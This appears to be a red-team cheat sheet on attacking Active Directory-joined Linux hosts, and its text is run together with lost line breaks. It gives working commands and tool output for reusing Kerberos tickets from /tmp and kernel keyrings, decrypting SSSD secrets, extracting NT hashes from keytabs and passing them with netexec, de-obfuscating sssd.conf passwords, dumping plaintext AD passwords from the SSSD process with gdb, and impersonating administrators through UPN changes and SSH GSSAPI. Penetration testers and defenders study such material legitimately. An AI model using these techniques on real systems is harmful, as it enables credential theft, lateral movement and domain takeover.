Active Directory - Linux
contents
CCACHE ticket reuse from /tmp#
When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache. Kerberos ticket name format is krb5cc_%{uid} where uid is the user UID.
$ ls /tmp/ | grep krb5cckrb5cc_1000krb5cc_1569901113krb5cc_1569901115$ export KRB5CCNAME=/tmp/krb5cc_1569901115CCACHE ticket reuse from keyring#
Tool to extract Kerberos tickets from Linux kernel keys : <https://github.com/TarlogicSecurity/tickey>
# Configuration and buildgit clone https://github.com/TarlogicSecurity/tickeycd tickey/tickeymake CONF=Release[root@Lab-LSV01 /]# /tmp/tickey -i[*] krb5 ccache_name = KEYRING:session:sess_%{uid}[+] root detected, so... DUMP ALL THE TICKETS!![*] Trying to inject in tarlogic[1000] session...[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache[*] Trying to inject in velociraptor[1120601115] session...[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache[*] Trying to inject in trex[1120601113] session...[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache[X] [uid:0] Error retrieving ticketsCCACHE ticket reuse from SSSD KCM#
System Security Services Daemon (SSSD) maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb.
The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey.
By default, the key is only readable if you have root permissions.
Invoking SSSDKCMExtractor with the –database and –key parameters will parse the database and decrypt the secrets.
git clone https://github.com/fireeye/SSSDKCMExtractorpython3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkeyThe credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.
CCACHE ticket reuse from keytab#
git clone https://github.com/its-a-feature/KeytabParserpython KeytabParser.py /etc/krb5.keytabklist -k /etc/krb5.keytabExtract accounts from /etc/krb5.keytab#
The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service’s password, and must be kept secure.
Use microsoft/klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab[...][26] Service principal: host/COMPUTER@DOMAIN KVNO: 25 Key type: 23 Key: 31d6cfe0d16ae931b73c59d7e0c089c0 Time stamp: Oct 07, 2019 09:12:02[...]On Linux you can use sosdave/KeyTabExtract: we want RC4 HMAC hash to reuse the NLTM hash.
$ python3 keytabextract.py krb5.keytab [!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck[+] Keytab File successfully imported. REALM : DOMAIN SERVICE PRINCIPAL : host/computer.domain NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # LuckyOn macOS you can use its-a-feature/bifrost.
./bifrost -action dump -source keytab -path testConnect to the machine using the account and the hash with CME.
$ netexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0 Extract accounts from /etc/sssd/sssd.conf#
sss_obfuscate converts a given password into human-unreadable format and places it into appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf
The obfuscated password is put into “ldap_default_authtok” parameter of a given SSSD domain and the “ldap_default_authtok_type” parameter is set to “obfuscated_password”.
[sssd]config_file_version = 2...[domain/LDAP]...ldap_uri = ldap://127.0.0.1ldap_search_base = ou=People,dc=srv,dc=worldldap_default_authtok_type = obfuscated_passwordldap_default_authtok = [BASE64_ENCODED_TOKEN]De-obfuscate the content of the ldap_default_authtok variable with mludvig/sss_deobfuscate
./sss_deobfuscate [ldap_default_authtok_base64_encoded]./sss_deobfuscate AAAQABagVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQIDExtract accounts from SSSD keyring#
Requirements:
krb5_store_password_if_offline = Truein/etc/sssd/sssd.conf
Exploit:
When krb5_store_password_if_offline is enabled, the AD password is stored plaintext.
[domain/domain.local]cache_credentials = Trueipa_domain = domain.localid_provider = ipaauth_provider = ipaaccess_provider = ipachpass_provider = ipaipa_server = _srv_, server.domain.localkrb5_store_password_if_offline = trueGrab the PID of the SSSD process and hook it in gdb. Then list the process keyrings.
gdb -p <PID_OF_SSSD>call system("keyctl show > /tmp/output")From the /tmp/output locate the key_id for the user you want.
Session Keyring 237034099 --alswrv 0 0 keyring: _ses 689325199 --alswrv 0 0 \_ user: user@domain.localBack to GDB:
call system("keyctl print 689325199 > /tmp/output")SSH GSSAPI#
GSSAPI (Generic Security Services Application Program Interface) is an API that provides security services (such as authentication) and acts as an abstraction layer for different security mechanisms, such as Kerberos.
Requirements:
Write permission on Public-Information field
SSH server supporting GSSAPI authentication: CCob/gssapi-abuse
./gssapi-abuse.py -d grandline.local enum -u username -p 'P@ssw0rd'
Methodology:
Since MIT Kerberos doesn’t verify the PAC, controlling a domain account and altering its UPN allows us to masquerade as a different user.
Modify the
userPrincipalNameinside the Public-Information field.bloodyAD --host "dc1.domain.local" -d "domain.local" -u 'username' -p 'P@ssw0rd' set object username userPrincipalName -v 'administrator'Request a ticket with the
NT_ENTERPRISEprincipal because it searches foruserPrincipalNamebeforesamAccountNamein the ticket.getTGT.py -dc-ip "10.10.10.10" "domain.local"/"username":'P@ssw0rd' -principalType NT_ENTERPRISE.\Rubeus.exe asktgt /user:Administrator /password:Password /principalType:enterpriseEdit
/etc/krb5.confto authenticate to the Linux host via GSSAPI.[libdefaults] default_realm = DOMAIN.LOCAL[realms] DOMAIN.LOCAL = { kdc = dc1.domain.local }[domain_realm] .domain.local = DOMAIN.LOCAL domain.local = DOMAIN.LOCALSSH connection
export KRB5CCNAME=username.ccachessh -vv -K username@domain.local@linux.domain.local
References#
- 20.4. Caching Kerberos Passwords - Red Hat Customer Portal
- A broken marriage. Abusing mixed vendor Kerberos stacks - Ceri Coburn - August 25, 2023
- All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018
- Hack’in 2025 - One Directory - rayanlecat - June 25, 2025
- Kerberos Tickets on Linux Red Teams - April 01, 2020 | by Trevor Haskell